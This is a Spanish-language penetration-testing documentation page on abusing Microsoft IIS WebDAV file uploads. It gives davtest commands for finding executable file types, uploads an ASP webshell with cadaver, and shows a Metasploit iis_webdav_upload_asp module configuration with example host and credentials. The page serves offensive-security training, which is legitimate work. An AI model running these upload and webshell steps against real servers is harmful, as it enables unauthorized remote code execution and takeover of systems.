> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/cms/microsoft-iis-webdav.md).

# Microsoft IIS / WebDAV

## File Upload Abusing

En base a ciertas posibles configuraciones en WebDAV. Con credenciales validas, podremos subir archivos y explotarlos, de esta manera obtendremos acceso a la maquina.

En primer lugar necesitamos saber que tipos de archivos son permitidos subir y ejecutar. Sobre todo nos interesa PHP, ASP, ASPX, JSP. Para comprobar los archivos ejecutables, usaremos la herramienta davtest. En este caso si no hay autenticación:

```bash
davtest -url http://192.168.1.1/webdav
```

Si necesitamos credenciales especificas:

```bash
davtest -auth usuario:contraseña -url http://192.168.1.1/webdav
```

Por lo tanto se suben los archivos:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FyLB0QYJesPayO3cEXREG%2Fimage.png?alt=media&amp;token=c3e7316b-8569-4619-a46c-b9e36771158d" alt=""><figcaption></figcaption></figure>

Y comprueba si se pueden ejecutar:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FrlxHFW5snBWAyPuitDiS%2Fimage.png?alt=media&amp;token=fd45d7cd-54c1-42fa-a60a-3a3c4e5f4590" alt=""><figcaption></figcaption></figure>

### Cadaver

Ahora, usaremos la herramienta cadaver para subir y descargar archivos del WebDAV.&#x20;

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FZzACDRyqrshQLnTJGMC3%2Fimage.png?alt=media&amp;token=a729ea53-9bb4-4ce3-8cf1-58459653dbc8" alt=""><figcaption></figcaption></figure>

Subimos una webshell. Elegimos una escrita en asp:

```bash
/usr/share/webshells/asp/webshell.asp
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FA5kyHSf4kOXqCNqYZS8m%2Fimage.png?alt=media&amp;token=9b3d5ab1-c536-4c88-b730-ea31c48037ec" alt=""><figcaption></figcaption></figure>

Accedemos:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2F5GbjD1JclTEpnrm9Jivj%2Fimage.png?alt=media&amp;token=2db38ed1-91a9-438b-abc8-f5dc3bff8b1f" alt=""><figcaption></figcaption></figure>

### Metasploit

Podemos usar metasploit para subir la web shell:

```perl
msfconsole

use exploit/windows/iis/iis_webdav_upload_asp

set RHOSTS 10.0.17.27

set HttpUsername bob

set HttpPassword password_123321

set PATH /webdav/metasploit%RAND%.asp

exploit
```
